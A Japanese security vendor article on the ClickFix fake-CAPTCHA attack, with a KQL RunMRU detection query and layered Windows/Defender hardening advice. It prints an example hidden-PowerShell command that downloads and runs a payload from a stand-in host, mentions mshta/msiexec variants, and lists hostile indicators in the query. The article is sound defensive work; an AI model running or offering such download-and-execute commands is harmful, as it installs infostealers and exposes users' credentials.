ClickFix。ユーザー自身がエクスプロイトになるとき、そしてそれを止める方法

ClickFixの攻撃チェーン

ClickFixは、ユーザーが自分自身への攻撃者になる攻撃です。エクスプロイトも脆弱性も使いません。被害者がたった一度のコピー＆ペーストで、悪意あるコードを自分で実行します。

おとりはソーシャルエンジニアリングです。悪意あるサイト上の偽のCAPTCHA、偽のサポート通知（「ブラウザの更新が必要です」）、フィッシングメール、あるいは偽の会議ページなどです。被害者がページを開いている間に、JavaScriptがclipboard.writeText()でペイロードをクリップボードに書き込みます。そのうえでページは、Win+R、Ctrl+V、Enterを押すようユーザーに促します。ファイル名を指定して実行のダイアログは、クリップボードにあるものを起動します。

典型的なおとりはこのように見えます。

クリップボードに置かれるコマンドはこのようなものです。

powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)

同時に2つのことが起きます。PowerShellが隠しウィンドウで起動し（-w h）、iex(irm …)がペイロードをダウンロードしてメモリ上で直接実行します。ディスクには何も残らないため、シグネチャベースのアンチウイルスにはスキャンする対象がありません。第2段階はたいていインフォスティーラー（Lumma、Vidar、RedLine、StealC）、リモートアクセス型トロイの木馬、あるいはランサムウェアのローダーです。

同じパターンをMicrosoft Defenderのテレメトリで見ると、Windows Terminalから起動された隠しPowerShellがiex(irm …)を実行しています。

これがこれほどうまく機能する理由は、すべてがユーザーコンテキストで、昇格された権限なしに実行されるからです。Cookie、保存されたパスワード、セッショントークンは標準ユーザーの手の届く範囲にあります。攻撃者は目的のものを手に入れるために権限を昇格させる必要がありません。

Microsoft Defenderが検知するもの

Microsoftはこの数か月、ClickFixの検知に多くを投じてきました。Defenderが健全で正しく設定されていれば、ClickFixのペイロードに対してネイティブの検知が得られます。2025年第2四半期以降、MDEは「Suspicious 'ClickFix' behavior detected」「Malicious PowerShell command executed via Run dialog」「An active 'Pacalau' malware in a command line was prevented from executing」といったタイトルで、振る舞いベースのアラートを出しています。これらはプロセスチェーンの分析を通じてMDEのクラウドエンジンから発報され、AVの検知と並行して、多くの場合は数秒早く上がります。

これを可能にする設定については、後述の実行のハードニングで扱います。

ネイティブ検知が限界に達するところ

クラウドベースのMLシグネチャは、発火するまでに時間がかかります。PowerShellの起動からDefenderのアラートまで1分を超える隙間が生じるのを、当社は定常的に観測しています。より速いペイロードはこの時間差をすり抜けます。

さらに攻撃者の適応も速いです。powershellをmshta http://...やmsiexec /i http://...に置き換えれば、どちらも定番のLOLBinですが、PowerShellに特化した検知はもう働きません。

その隙間を埋める：RunMRUハント

この隙間はカスタム検知で埋めます。出発点は、ユーザーがWin+Rダイアログに入力したコマンドをすべて記録するレジストリキーRunMRUに対するKQLクエリです。

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
    or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
        and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
    or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
    or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
    or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
        and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
            or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))

このクエリは、ClickFixのコマンドらしく見えるWin+Rのエントリをすべてマークします。PowerShell、mshta、curl、msiexecが、-w hidden、iex、irm、DownloadString、Base64エンコードされたペイロードといった典型的な指標と組み合わさっている場合です。微妙な手口も捉えます。多くの偽CAPTCHAのおとりがコマンドの前に置く緑のチェックマーク絵文字。攻撃者がテキストを偽装して単純な文字列フィルタを回避するために使う、キリル文字、アラビア文字、タイ文字などの領域のUnicode文字。これらのパターンのいずれかがWin+Rのエントリに現れたなら、まさにいまClickFix攻撃が進行している可能性が非常に高いです。

CSOCをご利用のお客様に対しては、当社がこれらをはじめとするカスタム検知を運用し、新しい攻撃手法と標準搭載の検知との間の隙間を埋めています。

防御レイヤー1：配信をブロックする

ここからは予防の話です。ClickFixは広く使われていて成功率も高いため、単一の防御では足りません。当社は配信から実行まで、レイヤーで対処します。

Network Protectionは、既知の配信ドメインとC2サーバーをすべてのブラウザに対してブロックします。MDEのWeb Content Filteringが「Newly registered domains」「Hacking」「Illegal Software」といったカテゴリーで補完します。Network ProtectionはWindowsに組み込まれていますが、サードパーティ製ブラウザではQUICとECHを無効化する必要があります。どちらも接続全体を暗号化し、宛先ドメインを隠すためです。ChromeとFirefoxではエンタープライズポリシーでQUICを無効化し（ChromeではQuicAllowed = Disabled、Firefoxではnetwork.http.http3.enable = false）、ECHについてはChromeでEncryptedClientHelloEnabled = Disabledを設定します。

EdgeではSmartScreenを有効化します。サードパーティ製ブラウザでは、それぞれに組み込まれたSafe Browsingを有効にします。これはNetwork Protectionと同じものではありませんが、有害なサイトのフィルタリングには役立ちます。メール経路については、Safe LinksとSafe Attachmentsがユーザーの操作前にリンクと添付ファイルを検査します。

難点は、これらがすべて既知のインフラにしか効かないことです。現在のClickFixキャンペーンは、識別とブロックが間に合わない新規登録のインフラを使い、ときには攻撃者が侵害した正規サイトを使います。ですから次に、おとりが届いた後で何が守ってくれるのかを見ていきます。

防御レイヤー2：トリックをブロックする

ユーザーが悪意あるサイトにいる間にハードルを上げるEdgeの機能がいくつかあります。ブラウザ拡張機能のガバナンスは、ClickFixのオーバーレイを挿入したりクリップボードを操作したりする悪意ある拡張や侵害された拡張を、ユーザーがインストールするのを防ぎます。Edge Enhanced Security Modeは、未知のサイトや訪問頻度の低いサイトにより厳しい保護を適用し（JITの無効化、Control Flow Guard、ハードウェア支援のスタック保護）、エクスプロイトを利用したブラウザ乗っ取りを大幅に難しくします。Typo Protectionはタイポスクワッティングのドメイン（micros0ft.com、paypa1.com）について警告し、偽のブランドドメインを経由する一般的なClickFixの配信経路をブロックします。

技術的な統制は半分にすぎません。ユーザーへの啓発は依然として決定的です。大部分を支える一つの原則はこうです。ウェブサイトが何かをコンピューターに貼り付けるよう求めてきたら、それは攻撃です。啓発トレーニングではこれを具体的に扱ってください。

• 実物のおとりを見せる: 偽の「Verify you are human」チェックボックス、「ブラウザの更新が必要です」、「ドキュメントをレンダリングできませんでした。この修正を実行してください」、壊れたTeamsやZoomの音声プロンプトなど。
• クリップボードの手口を実演する: ページが黙ってクリップボードを書き換える様子を見せる。
• 報告を簡単にする: 素早く、責めずに。

防御レイヤー3：操作をブロックする

ここにはシステムをハードニングする方法がいくつかありますが、どれも保証にはなりません。まずはファイル名を指定して実行のダイアログを無効化するところから始めます。これでWin+Rという入口が消えます。MicrosoftのClickFixガイダンスも、「where it isn't necessary」無効化することを推奨しています。これは特定のWin+Rペースト攻撃を封じますが、エクスプローラーのアドレスバーやWindows Terminalといった代替の起動口は残ります。

EdgeはさらにDefaultClipboardSettingでハードニングできます。これによりJavaScriptが黙ってクリップボードに書き込むのを防げます。

防御レイヤー4：実行をブロックする

高度な機能に進む前に、基本を整えてください。ClickFixについてはこうなります。

• ローカル管理者権限の削減: コード実行の影響を限定するため、可能な限りエンドユーザーからローカル管理者権限を外す。
• Endpoint Privilege Management（EPM）: ユーザーを標準ユーザーとして作業させ、承認済みのアプリだけをポリシー規則で昇格させる。
• UACのハードニング: セキュアデスクトップの強制、管理者と標準ユーザーに対するプロンプトの挙動、インストーラー検出を確認する。
• Credential Guard: NTLMハッシュ、Kerberosチケットなどの資格情報を仮想化ベースのセキュリティで隔離し、攻撃者が管理者権限を得ても資格情報の窃取が困難なままになるようにする。

これらの統制は昇格の可能性を減らし、資格情報を保護し、最小権限を強制します。その限界は、侵害後に何が起きるかを制限するものだという点です。標準ユーザーのコンテキストにいるインフォスティーラーが、そのユーザーから読めるCookie、セッショントークン、アプリの資格情報ストアを読み出すのを止めることはできません。

次にMicrosoft Defenderです。Defender AVは第2段階のペイロードを検知できますが、それには正しい設定が必要です。Cloud Protectionを有効にし、保護レベルをHighまたはHigh+に設定します。AMSI、すなわちAntimalware Scan Interfaceは、メモリ上で復号または難読化解除された後、実行される前の内容を、アプリケーションがDefenderに検査のために渡せるようにするものです。PowerShellは悪意あるコードの識別にAMSIを利用し、AMSIにはリアルタイム保護と動作監視が必要です。

ClickFixに関係するAttack Surface Reductionのルールは少なくとも5つあります。

ASRはまず監査モードで展開し、次にパイロット、それからブロックモードに進めてください。Tamper Protectionは最後の一線です。攻撃者が検知を無効化するのを防ぎます。

PowerShell自体については、レガシーなインタープリターによるリスクを減らします。新しいバージョンのロギング機能やセキュリティ機能を欠くWindows PowerShell 2.0とレガシーのVBScriptコンポーネントを、可能な範囲で特定して削除してください。次の一手はConstrained Language Mode（CLM）で、PowerShellで利用できる言語要素を制限し、スクリプトベースの手法の多くをブロックします。CLMが堅牢なセキュリティ価値を持つのは、システムのアプリケーション制御ポリシーがそれを強制する場合（App Control for Business）だけです。環境変数やAppLockerを使う方式はより弱く、回避可能です。そして多くのシステムは動作にFull Language Modeを必要とします。ソフトウェア配布のツールなどです。そのためCLMは、選ばれた環境でのみ実現可能であることが少なくありません。

ここでApp Control for Business（旧WDAC）の話になります。App Controlは、どの実行ファイル、スクリプト、ドライバーが動作してよいかについてコード整合性ポリシーを強制します。戦略的な立ち位置はデフォルト拒否に加えて、既知のLOLBinおよびバイパスのブロックリストであるMicrosoft推奨のBlock Rulesです。App ControlはPowerShellのCLMにとって正しい強制経路でもあります。Script Enforcementは、MSHTAとMSXMLのスクリプトホストをブロックし、PowerShellをCLMに押し込み、許可されていないWindows Script Hostの利用をブロックします。いくつかの挙動上の事実が重要です。

• Windowsを信頼するベースポリシーは、信頼されたLOLBinを自動的にブロックするわけではありません。既知のバイパスを塞ぐには、Microsoft推奨のBlock Rulesをマージする必要があります。
• App Controlは署名済みのpowershell.exeやcmd.exeの起動を妨げません。制限するのはそれらが何をできるか（CLM、未署名または未許可のペイロードの排除）であり、cmd.exe、.bat、.cmdの内容までは制御しません。だからこそASRや起動のハードニングと重ねて使い、単独では使わないのです。
• 監査モードは中立ではありません。Script Enforcementは監査でもMSHTAとMSXMLの実行をブロックし、PowerShellのCLMの挙動を変えることがあります。そのためApp Controlは監査であっても、最初の展開からパイロットまたはリング単位に限定しなければならず、全社一斉にしてはいけません。

App Controlは、インタープリター、LOLBin、ペイロード実行のフェーズに対して単体で最も高い確度を持つ統制であり、堅牢なCLMを強制します。同時に、展開の複雑さとロールバックのリスクも最も高くなります。設定を誤れば実行がブロックされるからです。統制されたパイロットリングを通じて導入してください。

当社の出番

ClickFixは速く、Microsoftのネイティブ検知は大半をカバーしますが、すべてではありません。CSOCをご利用のお客様に対しては、隙間が現れるところで当社がカバー範囲を継続的に広げています。Windows Terminal経由の実行、RATを用いたサポート詐欺、侵害後の振る舞いなどです。自社の環境が現在どの位置にあるかを知りたい方は、ご連絡ください。